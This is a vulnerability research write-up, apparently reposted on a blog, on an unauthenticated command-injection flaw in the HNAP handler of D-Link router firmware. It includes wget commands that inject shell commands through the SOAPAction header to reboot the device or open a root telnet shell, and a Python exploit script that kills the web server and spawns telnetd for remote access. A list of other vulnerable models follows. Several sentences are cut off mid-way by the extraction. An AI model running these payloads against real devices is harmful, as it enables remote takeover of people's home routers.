The past 6 months have been incredibly busy, and I haven’t been keeping up with D-Link’s latest shenanigans. In need of some entertainment, I went to their web page today and was greeted by this atrocity:
I think the most “insane” thing about this router is that it’s running the same buggy firmware that D-Link has been cramming in their routers for years…and the hits just keep on coming.
OK, let’s do the usual: grab the latest firmware release, binwalk it and see what we’ve got:
1 2 3 4 5 6 | DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7" 116 0x74 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes 1835124 0x1C0074 PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes 1835156 0x1C0094 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13852268 bytes, 2566 inodes, blocksize: 131072 bytes, created: 2015-02-11 09:18:37 |
Looks like a pretty standard Linux firmware image, and if you’ve looked at any D-Link firmware over the past few years, you’ll probably recognize the root directory structure:
1 2 | $ ls squashfs-root bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www |
All of the HTTP/UPnP/HNAP stuff is located under the
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | $ ls -l htdocs /web/ *.cgi lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs /web/captcha .cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs /web/conntrack .cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs /web/dlapn .cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs /web/dlcfg .cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs /web/dldongle .cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs /web/fwup .cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs /web/fwupload .cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs /web/hedwig .cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs /web/pigwidgeon .cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs /web/seama .cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs /web/service .cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs /web/webfa_authentication .cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs /web/webfa_authentication_logout .cgi -> /htdocs/cgibin |
It’s been stripped of course, but there are plenty of strings to help us out. The first thing that
Each of these comparisons are
This makes it easy to correlate each function handler to its respective symlink name and re-name the functions appropriately:
Now that we’ve got some of the high-level functions identified, let’s start bug hunting. Other D-Link devices running essentially the same firmware have previously been exploited through both their HTTP and UPnP interfaces. However, the HNAP interface, which is handled by the
HNAP (Home Network Administration Protocol) is a SOAP-based protocol, similar to UPnP, that is commonly used by D-Link’s “EZ” setup utilities to initially configure the router. Unlike UPnP however, all HNAP actions, with the exception of
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | POST /HNAP1 HTTP/1.1 Host: 192.168.0.1 Authorization: Basic YWMEHZY+ Content-Type: text/xml; charset=utf-8 Content-Length: length SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping" <? xml version = "1.0" encoding = "utf-8" ?> < soap:Envelope xmlns:xsi = "http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd = "http://www.w3.org/2001/XMLSchema" xmlns:soap = "http://schemas.xmlsoap.org/soap/envelope/" > < soap:Body > < PortMappingDescription >foobar</ PortMappingDescription > < InternalClient >192.168.0.100</ InternalClient > < PortMappingProtocol >TCP</ PortMappingProtocol > < ExternalPort >1234</ ExternalPort > < InternalPort >1234</ InternalPort > </ AddPortMapping > </ soap:Body > </ soap:Envelope > |
The
Since
Towards the end of
Clearly,
Going back to the beginning of
However, note that
So, if the
It is the action name (e.g.,
Here’s the code in C, to help highlight the flaw in the above logic:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | /* Grab a pointer to the SOAPAction header */ SOAPAction = getenv ( "HTTP_SOAPACTION" ); /* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */ { /* do auth check */ } /* Do a reverse search for the last forward slash in the SOAPAction header */ SOAPAction = strrchr (SOAPAction, '/' ); if (SOAPAction != NULL) { /* Point the SOAPAction pointer one byte beyond the last forward slash */ SOAPAction += 1; /* Get rid of any trailing double quotes */ if (SOAPAction[ strlen (SOAPAction)-1] == '"' ) { SOAPAction[ strlen (SOAPAction)-1] = '\0' ; } } else { goto failure_condition; } /* Build the command using the specified SOAPAction string and execute it */ sprintf (command, "sh %s%s.sh > /dev/console" , "/var/run/" , SOAPAction); system (command); |
The two important take-aways from this are:
- There is no authentication check if the
SOAPAction header contains the stringhttp://purenetworks.com/HNAP1/GetDeviceSettings - The string passed to
sprintf (and ultimatelysystem ) is everything after the last forward slash in theSOAPAction header
Thus, we can easily format a
1 | SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`" |
The
1 | system ( "sh /var/run/`reboot`.sh > /dev/console" ); |
Replacing
1 2 3 4 5 6 7 8 9 10 11 | $ wget --header= 'SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http: //192 .168.0.1 /HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]' . BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built- in shell (msh) Enter 'help' for a list of built- in commands. # |
If remote administration is enabled, HNAP requests are honored from the WAN, making remote exploitation possible. Of course, the router’s firewall will block any incoming telnet connections from the WAN; a simple solution is to kill off the HTTP server and spawn your telnet server on whatever port the HTTP server was bound to:
1 2 3 4 5 6 7 8 9 10 11 | $ wget --header= 'SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http: //1 .2.3.4:8080 /HNAP1 $ telnet 1.2.3.4 8080 Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]' . BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built- in shell (msh) Enter 'help' for a list of built- in commands. # |
Note that the
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | #!/usr/bin/env python import sys import urllib2 import httplib try : ip_port = sys.argv[ 1 ].split( ':' ) ip = ip_port[ 0 ] if len (ip_port) = = 2 : port = ip_port[ 1 ] elif len (ip_port) = = 1 : port = "80" else : raise IndexError except IndexError: print "Usage: %s <target ip:port>" % sys.argv[ 0 ] sys.exit( 1 ) # NOTE: If exploiting from the LAN, telnetd can be started on # any port; killing the http server and re-using its port # is not necessary. # # Killing off all hung hnap processes ensures that we can # re-start httpd later. command = "killall httpd; killall hnap; telnetd -p %s" % port headers = { } req = urllib2.Request(url, None , headers) try : urllib2.urlopen(req) raise Exception( "Unexpected response" ) except httplib.BadStatusLine: print "Exploit sent, try telnetting to %s:%s!" % (ip, port) print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'" sys.exit( 0 ) except Exception: print "Received an unexpected response from the server; exploit probably failed. :(" |
I’ve tested both the v1.00 and v1.03 firmware (v1.03 being the latest at the time of this writing), and both are vulnerable. But, as is true with most embedded vulnerabilities, this code has snuck its way into other devices as well.
Analyzing “all the firmwares” is tedious, so I handed this bug over to our Centrifuge team at work, who have a great automated analysis system for this sort of thing. Centrifuge found that at least the following devices are also vulnerable:
- DAP-1522 revB
- DAP-1650 revB
- DIR-880L
- DIR-865L
- DIR-860L revA
- DIR-860L revB
- DIR-815 revB
- DIR-300 revB
- DIR-600 revB
- DIR-645
- TEW-751DR
- TEW-733GR
AFAIK, there is no way to disable HNAP on any of these devices.
UPDATE:
Looks like this same bug was found earlier this year by Samuel Huntly, but only reported and patched for the DIR-645. The patch looks pretty shitty though, so expect a follow-up post soon.
'malware ' 카테고리의 다른 글
One-Man PoS Malware Operation Captures 22,000 Credit Card Details in Brazil (0) | 2015.04.13 |
---|---|
A history lesson brought to you by the Nuclear exploit kit (0) | 2015.04.12 |
Reverse engineering a USB sound card with MIDI interface for Linux (0) | 2015.04.11 |
China’s Great Cannon (0) | 2015.04.11 |
Hidden backdoor API to root privileges in Apple OS X (0) | 2015.04.11 |